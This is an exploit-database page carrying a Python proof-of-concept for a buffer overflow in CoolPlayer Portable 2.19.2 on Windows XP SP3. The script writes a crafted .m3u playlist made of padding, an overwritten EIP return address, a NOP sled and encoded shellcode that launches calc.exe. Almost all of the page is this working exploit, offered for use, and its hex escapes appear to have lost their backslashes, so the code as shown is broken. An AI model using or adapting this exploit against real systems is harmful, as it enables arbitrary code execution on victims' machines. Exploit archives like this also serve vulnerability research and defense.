[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : CoolPlayer Portable 2.19.2 Buffer Overflow
# Published : 2011-05-16
# Author :
# Previous Title : Gesytec ElonFmt ActiveX 1.1.14 (ElonFmt.ocx) pid Item Buffer Overflow (SEH)
# Next Title : DEC Alpha Linux <= 3.0 Local Root Exploit
#CoolPlayer+ Portable Buffer Overflow
#Version: 2.19.2
#Author: Securityxxxpert
#Date Submitted: May 16, 2011
#Download Link: http://download.cnet.com/CoolPlayer-Portable/3000-2139_4-75448619.html
#Tested on: Windows Xp Sp3
print "--------------------------------------------------------------------------------"
print " Cool Player Exploit "
print " Retreat Hell! "
print "Greetz: Acidgen, Subinacls, GrumpyBear, Pyoor, Corelanc0d3r, Dr. Nick, Rek0n "
print "Greetz Cont: Podjackel, g0tmi1k & The entire Corelan & Offensive Security Team "
print "--------------------------------------------------------------------------------"
filename = "exploit.m3u"
junk = "x41"*210
EIP = "x8Ax1DxF3x77" #0x77F31D8A gdi32.dll
nopsled = "x90"*22
#calc.exe
sc = ("xb8x20x65x02x44xdbxc2xd9x74x24xf4x5ax33xc9"
"xb1x32x31x42x12x03x42x12x83xcax99xe0xb1xf6"
"x8ax6cx39x06x4bx0fxb3xe3x7ax1dxa7x60x2ex91"
"xa3x24xc3x5axe1xdcx50x2ex2exd3xd1x85x08xda"
"xe2x2bx95xb0x21x2dx69xcax75x8dx50x05x88xcc"
"x95x7bx63x9cx4exf0xd6x31xfax44xebx30x2cxc3"
"x53x4bx49x13x27xe1x50x43x98x7ex1ax7bx92xd9"
"xbbx7ax77x3ax87x35xfcx89x73xc4xd4xc3x7cxf7"
"x18x8fx42x38x95xd1x83xfex46xa4xffxfdxfbxbf"
"x3bx7cx20x35xdex26xa3xedx3axd7x60x6bxc8xdb"
"xcdxffx96xffxd0x2cxadxfbx59xd3x62x8ax1axf0"
"xa6xd7xf9x99xffxbdxacxa6xe0x19x10x03x6ax8b"
"x45x35x31xc1x98xb7x4fxacx9bxc7x4fx9exf3xf6"
"xc4x71x83x06x0fx36x7bx4dx12x1ex14x08xc6x23"
"x79xabx3cx67x84x28xb5x17x73x30xbcx12x3fxf6"
"x2cx6ex50x93x52xddx51xb6x30x80xc1x5axb7")
exploit = junk + EIP + nopsled + sc
textfile = open(filename,"w")
textfile.write(exploit)
textfile.close()